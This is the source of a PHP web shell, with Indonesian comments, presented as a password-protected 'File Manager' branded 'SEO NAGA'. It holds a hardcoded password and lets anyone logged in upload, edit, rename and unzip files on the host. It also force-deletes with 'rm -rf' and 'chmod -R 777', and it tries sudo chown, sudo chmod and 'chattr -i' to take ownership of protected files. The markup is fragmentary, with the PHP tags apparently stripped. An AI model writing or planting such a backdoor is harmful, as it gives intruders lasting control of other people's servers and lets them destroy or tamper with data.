session_start();
// ========== KONFIGURASI ==========
$correct_password = "mumet69"; // Password default
// ========== FUNGSI UTAMA ==========
function getScriptContent() {
return file_get_contents(__FILE__);
}
function saveScriptContent($content) {
file_put_contents(__FILE__, $content);
}
function isLoggedIn() {
return isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true;
}
function handleLogin($password) {
global $correct_password;
if ($password === $correct_password) {
$_SESSION['loggedin'] = true;
return true;
}
return false;
}
function changePassword($new_password) {
global $correct_password;
$script_content = getScriptContent();
$new_script_content = preg_replace(
'/(\$correct_password\s*=\s*\")[^\"]+(\")/',
'$1' . addslashes($new_password) . '$2',
$script_content
);
saveScriptContent($new_script_content);
$correct_password = $new_password;
}
function createFolder($folder_name, $path) {
$target_dir = rtrim($path, '/') . '/' . $folder_name;
if (!is_dir($target_dir)) {
return mkdir($target_dir, 0755, true);
}
return false;
}
function uploadFile($file, $path) {
$target_file = rtrim($path, '/') . '/' . basename($file["name"]);
return move_uploaded_file($file["tmp_name"], $target_file);
}
// ========== FUNGSI DELETE YANG DIPERBAIKI ==========
function forceDeleteFile($file_path) {
if (!file_exists($file_path)) {
return array('success' => false, 'message' => 'File does not exist');
}
// Cek apakah file bisa dihapus dengan normal
if (is_writable($file_path)) {
if (unlink($file_path)) {
return array('success' => true, 'message' => 'File deleted successfully');
}
}
// Coba berbagai metode jika gagal
$methods = array();
// Method 1: Coba ubah permissions dulu
if (chmod($file_path, 0777)) {
if (unlink($file_path)) {
return array('success' => true, 'message' => 'File deleted after changing permissions to 0777');
}
$methods[] = "Changed permissions but still cannot delete";
} else {
$methods[] = "Cannot change permissions";
}
// Method 2: Coba gunakan system command (Linux/Unix)
if (function_exists('shell_exec') && is_callable('shell_exec')) {
$output = shell_exec("rm -f " . escapeshellarg($file_path) . " 2>&1");
if (!file_exists($file_path)) {
return array('success' => true, 'message' => 'File deleted using system command');
}
$methods[] = "System command failed";
}
// Method 3: Untuk Windows
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$output = shell_exec("del /F " . escapeshellarg($file_path) . " 2>&1");
if (!file_exists($file_path)) {
return array('success' => true, 'message' => 'File deleted using Windows command');
}
$methods[] = "Windows command failed";
}
return array('success' => false, 'message' => 'Cannot delete file. Attempted methods: ' . implode(', ', $methods));
}
function forceDeleteDir($dir_path) {
if (!is_dir($dir_path)) {
return array('success' => false, 'message' => 'Not a directory');
}
// Coba hapus normal dulu
if (is_writable($dir_path)) {
$items = array_diff(scandir($dir_path), ['.', '..']);
foreach ($items as $item) {
$full_path = "$dir_path/$item";
if (is_dir($full_path)) {
$result = forceDeleteDir($full_path);
if (!$result['success']) return $result;
} else {
$result = forceDeleteFile($full_path);
if (!$result['success']) return $result;
}
}
if (rmdir($dir_path)) {
return array('success' => true, 'message' => 'Directory deleted successfully');
}
}
// Jika gagal, coba ubah permissions recursive
if (function_exists('shell_exec') && is_callable('shell_exec')) {
// Linux/Unix: recursive chmod lalu delete
shell_exec("chmod -R 777 " . escapeshellarg($dir_path) . " 2>&1");
$output = shell_exec("rm -rf " . escapeshellarg($dir_path) . " 2>&1");
if (!is_dir($dir_path)) {
return array('success' => true, 'message' => 'Directory deleted using force method');
}
}
return array('success' => false, 'message' => 'Cannot delete directory');
}
// ========== FUNGSI CHMOD YANG DIPERBAIKI ==========
function forceChangePermissions($path, $permissions) {
if (!file_exists($path)) {
return array('success' => false, 'message' => 'File/directory does not exist');
}
// Coba chmod normal
if (chmod($path, octdec($permissions))) {
return array('success' => true, 'message' => 'Permissions changed to ' . $permissions);
}
// Jika gagal, coba sebagai super user (jika memungkinkan)
if (function_exists('shell_exec') && is_callable('shell_exec')) {
$output = shell_exec("chmod " . $permissions . " " . escapeshellarg($path) . " 2>&1");
// Cek apakah berhasil
clearstatcache(true, $path);
$new_perm = substr(sprintf('%o', fileperms($path)), -4);
if ($new_perm == $permissions) {
return array('success' => true, 'message' => 'Permissions changed using system command');
}
// Coba dengan sudo jika tersedia
$output = shell_exec("sudo chmod " . $permissions . " " . escapeshellarg($path) . " 2>&1");
clearstatcache(true, $path);
$new_perm = substr(sprintf('%o', fileperms($path)), -4);
if ($new_perm == $permissions) {
return array('success' => true, 'message' => 'Permissions changed using sudo');
}
// Untuk file dengan immutable flag (Linux)
$output = shell_exec("lsattr " . escapeshellarg($path) . " 2>&1");
if (strpos($output, "i----") !== false) {
// File memiliki immutable flag
shell_exec("chattr -i " . escapeshellarg($path) . " 2>&1");
if (chmod($path, octdec($permissions))) {
return array('success' => true, 'message' => 'Immutable flag removed and permissions changed');
}
}
}
return array('success' => false, 'message' => 'Cannot change permissions. File may be owned by different user or system protected.');
}
// ========== FUNGSI BARU: TAKE OWNERSHIP ==========
function getWebServerUser() {
// Daftar kemungkinan user web server
$possible_users = array('www-data', 'apache', 'nginx', 'httpd', 'nobody', '_www');
// Coba dapatkan dari posix
if (function_exists('posix_geteuid')) {
$uid = posix_geteuid();
if ($uid !== false) {
$user_info = posix_getpwuid($uid);
if ($user_info && isset($user_info['name'])) {
return $user_info['name'];
}
}
}
// Coba cek dari process
if (function_exists('shell_exec') && is_callable('shell_exec')) {
// Cari process web server
$output = shell_exec("ps aux | grep -E '(apache|httpd|nginx|php-fpm|php-cgi)' | grep -v grep | head -1 2>/dev/null");
if ($output && preg_match('/^(\S+)\s+/', $output, $matches)) {
return $matches[1];
}
// Cari process PHP
$output = shell_exec("ps aux | grep php | grep -v grep | head -1 2>/dev/null");
if ($output && preg_match('/^(\S+)\s+/', $output, $matches)) {
return $matches[1];
}
}
// Coba dari environment variables
if (isset($_SERVER['USER'])) {
return $_SERVER['USER'];
}
if (isset($_SERVER['USERNAME'])) {
return $_SERVER['USERNAME'];
}
// Default untuk kebanyakan sistem Linux
return 'www-data';
}
function changeFileOwnership($path, $user = null, $group = null) {
if (!file_exists($path)) {
return array('success' => false, 'message' => 'File/directory does not exist');
}
// Tentukan user dan group
if ($user === null) {
$user = getWebServerUser();
}
if ($group === null) {
$group = $user; // Default group sama dengan user
}
// Cek ownership saat ini
$current_owner = getFileOwnerInfo($path);
// Jika sudah dimiliki oleh user yang diinginkan
if (isset($current_owner['owner']) && $current_owner['owner'] == $user) {
return array('success' => true, 'message' => 'File already owned by ' . $user);
}
// Method 1: Coba chown normal (jarang berhasil untuk root files)
if (chown($path, $user) && chgrp($path, $group)) {
return array('success' => true, 'message' => 'Ownership changed to ' . $user . ':' . $group);
}
// Method 2: Gunakan shell command
if (function_exists('shell_exec') && is_callable('shell_exec')) {
// Coba tanpa sudo dulu
$output = shell_exec("chown " . escapeshellarg($user) . ":" . escapeshellarg($group) . " " . escapeshellarg($path) . " 2>&1");
// Cek apakah berhasil
clearstatcache(true, $path);
$new_owner = getFileOwnerInfo($path);
if (isset($new_owner['owner']) && $new_owner['owner'] == $user) {
return array('success' => true, 'message' => 'Ownership changed to ' . $user . ':' . $group);
}
// Coba dengan sudo
$output = shell_exec("sudo chown " . escapeshellarg($user) . ":" . escapeshellarg($group) . " " . escapeshellarg($path) . " 2>&1");
// Cek lagi
clearstatcache(true, $path);
$new_owner = getFileOwnerInfo($path);
if (isset($new_owner['owner']) && $new_owner['owner'] == $user) {
return array('success' => true, 'message' => 'Ownership changed to ' . $user . ':' . $group . ' (using sudo)');
}
// Coba recursive jika directory
if (is_dir($path)) {
$output = shell_exec("sudo chown -R " . escapeshellarg($user) . ":" . escapeshellarg($group) . " " . escapeshellarg($path) . " 2>&1");
clearstatcache(true, $path);
$new_owner = getFileOwnerInfo($path);
if (isset($new_owner['owner']) && $new_owner['owner'] == $user) {
return array('success' => true, 'message' => 'Ownership changed recursively to ' . $user . ':' . $group . ' (using sudo)');
}
}
return array('success' => false, 'message' => 'Cannot change ownership. Error: ' . $output);
}
return array('success' => false, 'message' => 'Cannot change ownership. Shell commands not available.');
}
function getFileOwnerInfo($path) {
$info = array();
if (function_exists('posix_getpwuid') && function_exists('fileowner')) {
$owner_id = fileowner($path);
$group_id = filegroup($path);
$owner_info = posix_getpwuid($owner_id);
$group_info = posix_getgrgid($group_id);
if ($owner_info) {
$info['owner'] = $owner_info['name'];
$info['uid'] = $owner_info['uid'];
} else {
$info['owner'] = $owner_id;
$info['uid'] = $owner_id;
}
if ($group_info) {
$info['group'] = $group_info['name'];
$info['gid'] = $group_info['gid'];
} else {
$info['group'] = $group_id;
$info['gid'] = $group_id;
}
} else {
// Fallback jika posix tidak tersedia
$info['owner'] = 'Unknown';
$info['group'] = 'Unknown';
$info['uid'] = 0;
$info['gid'] = 0;
}
$info['is_writable'] = is_writable($path);
$info['is_readable'] = is_readable($path);
$info['is_executable'] = is_executable($path);
return $info;
}
function createFile($file_name, $path) {
$target_file = rtrim($path, '/') . '/' . $file_name;
if (!file_exists($target_file)) {
return touch($target_file);
}
return false;
}
// ========== FUNGSI LAIN ==========
function getCurrentPermissions($path) {
if (file_exists($path)) {
return substr(sprintf('%o', fileperms($path)), -4);
}
return false;
}
function unzipFile($zip_path, $extract_path) {
if (!class_exists('ZipArchive')) {
return array('success' => false, 'message' => 'ZipArchive class not available');
}
if (!is_file($zip_path)) {
return array('success' => false, 'message' => 'File not found');
}
$zip = new ZipArchive();
$result = $zip->open($zip_path);
if ($result !== TRUE) {
return array('success' => false, 'message' => "Failed to open zip file. Error code: $result");
}
if (!is_dir($extract_path) && !mkdir($extract_path, 0755, true)) {
$zip->close();
return array('success' => false, 'message' => 'Failed to create extraction directory');
}
if (!$zip->extractTo($extract_path)) {
$zip->close();
return array('success' => false, 'message' => 'Failed to extract zip file');
}
$zip->close();
return array('success' => true, 'message' => 'File successfully extracted');
}
// ========== HANDLING FORM ==========
// Login
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password']) && !isLoggedIn()) {
if (handleLogin($_POST['password'])) {
header('Location: ' . $_SERVER['PHP_SELF']);
exit();
} else {
$login_error = "Password salah!";
}
}
// Ganti Password
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_password']) && isLoggedIn()) {
changePassword($_POST['new_password']);
$password_change_success = "Password berhasil diganti!";
}
// Buat Folder
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_folder']) && isLoggedIn()) {
$current_path = $_POST['current_path'];
if (createFolder($_POST['folder_name'], $current_path)) {
$folder_create_success = "Folder berhasil dibuat.";
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
} else {
$folder_create_error = "Gagal membuat folder.";
}
}
// Upload File
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['submit']) && isLoggedIn()) {
$current_path = $_POST['current_path'];
if (uploadFile($_FILES["file"], $current_path)) {
$file_upload_success = "File berhasil diunggah.";
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
} else {
$file_upload_error = "Gagal mengunggah file.";
}
}
// Hapus File/Folder
if (isset($_GET['delete']) && isLoggedIn()) {
$path_to_delete = $_GET['delete'];
$current_path = dirname($path_to_delete);
if (is_dir($path_to_delete)) {
$result = forceDeleteDir($path_to_delete);
} else {
$result = forceDeleteFile($path_to_delete);
}
if ($result['success']) {
$delete_success = $result['message'];
} else {
$delete_error = $result['message'];
}
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
}
// Force Delete Khusus
if (isset($_GET['force_delete']) && isLoggedIn()) {
$path_to_delete = $_GET['force_delete'];
$current_path = dirname($path_to_delete);
// Gunakan metode paling agresif
if (function_exists('shell_exec') && is_callable('shell_exec')) {
if (is_dir($path_to_delete)) {
$output = shell_exec("rm -rf " . escapeshellarg($path_to_delete) . " 2>&1");
$result = array('success' => !is_dir($path_to_delete), 'message' => 'Force directory deletion attempted');
} else {
$output = shell_exec("rm -f " . escapeshellarg($path_to_delete) . " 2>&1");
$result = array('success' => !file_exists($path_to_delete), 'message' => 'Force file deletion attempted');
}
} else {
$result = array('success' => false, 'message' => 'Shell execution not available');
}
if ($result['success']) {
$delete_success = "File/directory forcibly deleted";
} else {
$delete_error = "Cannot force delete. File may be system protected.";
}
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
}
// Buat File
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_file']) && isLoggedIn()) {
$current_path = $_POST['current_path'];
if (createFile($_POST['file_name'], $current_path)) {
$file_create_success = "File berhasil dibuat.";
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
} else {
$file_create_error = "Gagal membuat file.";
}
}
// Rename File/Folder
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name']) && isset($_POST['old_name']) && isLoggedIn()) {
$old_name = $_POST['old_name'];
$new_name = $_POST['new_name'];
$current_path = dirname($old_name);
if (rename($old_name, dirname($old_name) . '/' . $new_name)) {
$rename_success = "Berhasil mengubah nama.";
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
} else {
$rename_error = "Gagal mengubah nama.";
}
}
// Edit File
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_content']) && isset($_POST['file_to_edit']) && isLoggedIn()) {
$file_to_edit = $_POST['file_to_edit'];
$current_path = dirname($file_to_edit);
if (file_put_contents($file_to_edit, $_POST['file_content']) !== false) {
$file_edit_success = "Berhasil menyimpan perubahan.";
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
} else {
$file_edit_error = "Gagal menyimpan perubahan.";
}
}
// Change Permissions (CHMOD)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_permissions']) && isset($_POST['chmod_path']) && isLoggedIn()) {
$chmod_path = $_POST['chmod_path'];
$permissions = $_POST['chmod_permissions'];
$current_path = dirname($chmod_path);
$result = forceChangePermissions($chmod_path, $permissions);
if ($result['success']) {
$chmod_success = $result['message'];
} else {
$chmod_error = $result['message'];
}
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
}
// ========== TAKE OWNERSHIP (FITUR BARU) ==========
if (isset($_GET['take_ownership']) && isLoggedIn()) {
$target_path = $_GET['take_ownership'];
$current_path = dirname($target_path);
$result = changeFileOwnership($target_path);
if ($result['success']) {
$ownership_success = $result['message'];
} else {
$ownership_error = $result['message'];
}
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
}
// Take Ownership Recursive (untuk directory)
if (isset($_GET['take_ownership_recursive']) && isLoggedIn()) {
$target_path = $_GET['take_ownership_recursive'];
$current_path = dirname($target_path);
if (!is_dir($target_path)) {
$ownership_error = "Target is not a directory";
} else {
if (function_exists('shell_exec') && is_callable('shell_exec')) {
$user = getWebServerUser();
$output = shell_exec("sudo chown -R " . escapeshellarg($user) . ":" . escapeshellarg($user) . " " . escapeshellarg($target_path) . " 2>&1");
if ($output === null || trim($output) === '') {
$ownership_success = "Ownership changed recursively to " . $user;
} else {
$ownership_error = "Error: " . $output;
}
} else {
$ownership_error = "Shell commands not available";
}
}
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
}
// Unzip File
if (isset($_GET['unzip']) && isLoggedIn()) {
$zip_path = $_GET['unzip'];
$current_path = dirname($zip_path);
$result = unzipFile($zip_path, $current_path);
if ($result['success']) {
$unzip_success = $result['message'];
} else {
$unzip_error = $result['message'];
}
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
}
// Fix Permissions Recursive
if (isset($_GET['fix_permissions']) && isLoggedIn()) {
$target_path = $_GET['fix_permissions'];
$current_path = dirname($target_path);
if (function_exists('shell_exec') && is_callable('shell_exec')) {
if (is_dir($target_path)) {
$output = shell_exec("chmod -R 755 " . escapeshellarg($target_path) . " 2>&1");
$fix_result = "Permissions fixed recursively for directory";
} else {
$output = shell_exec("chmod 644 " . escapeshellarg($target_path) . " 2>&1");
$fix_result = "Permissions fixed for file";
}
$fix_success = $fix_result;
} else {
$fix_error = "Cannot fix permissions: shell_exec not available";
}
header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($current_path));
exit();
}
// Logout
if (isset($_GET['logout'])) {
session_destroy();
header('Location: ' . $_SERVER['PHP_SELF']);
exit();
}
// ========== TAMPILAN FORM ==========
// Halaman Login (sama seperti sebelumnya, supaya singkat saya skip)
// ... [kode login sama] ...
if (!isLoggedIn()) {
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
File Manager - Login <title>File Manager - Login</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
background: #0a0a0a; color: #ffff; font-family: 'Consolas', 'Monaco', monospace;
line-height: 1.6; min-height: 100vh; display: flex; justify-content: center; align-items: center;
}
.login-container { width: 100%; max-width: 400px; padding: 20px; }
.login-box {
background: #111; border: 1px solid #ffff; border-radius: 5px; padding: 30px;
box-shadow: 0 0 15px rgba(0, 255, 0, 0.2);
}
.login-header { text-align: center; margin-bottom: 30px; padding-bottom: 20px; border-bottom: 1px solid #ffff; }
.login-header h1 { font-size: 24px; color: #ffff; text-shadow: 0 0 10px rgba(0, 255, 0, 0.5); }
.login-header p { font-size: 14px; color: #8f8; margin-top: 5px; }
.form-group { margin-bottom: 20px; }
.form-group label { display: block; margin-bottom: 8px; color: #8f8; font-size: 14px; }
.form-control {
width: 100%; padding: 12px; background: #000; border: 1px solid #333; color: #ffff;
font-family: 'Consolas', 'Monaco', monospace; font-size: 16px; border-radius: 3px; transition: all 0.3s;
}
.form-control:focus { outline: none; border-color: #ffff; box-shadow: 0 0 10px rgba(0, 255, 0, 0.3); }
.btn {
width: 100%; padding: 12px; background: #000; color: #ffff; border: 1px solid #ffff;
font-family: 'Consolas', 'Monaco', monospace; font-size: 16px; border-radius: 3px; cursor: pointer;
transition: all 0.3s; text-transform: uppercase; letter-spacing: 1px;
}
.btn:hover { background: #ffff; color: #000; box-shadow: 0 0 15px rgba(0, 255, 0, 0.5); }
.alert { padding: 10px; margin-bottom: 20px; border-radius: 3px; font-size: 14px; }
.alert-error { background: rgba(255, 0, 0, 0.1); border: 1px solid rgba(255, 0, 0, 0.3); color: #f88; }
.alert-success { background: rgba(0, 255, 0, 0.1); border: 1px solid rgba(0, 255, 0, 0.3); color: #8f8; }
.footer-note { text-align: center; margin-top: 20px; font-size: 12px; color: #666; }
</style>
<div class="login-container">
<div class="login-box">
<div class="login-header">
SEO NAGA
<p>Terminal 777</p>
</div>
if (isset($login_error)):
<div class="alert alert-error"> echo htmlspecialchars($login_error); </div>
endif;
if (isset($password_change_success)):
<div class="alert alert-success"> echo htmlspecialchars($password_change_success); </div>
endif;
<div class="footer-note">seo naga only</div>
</div>
</div>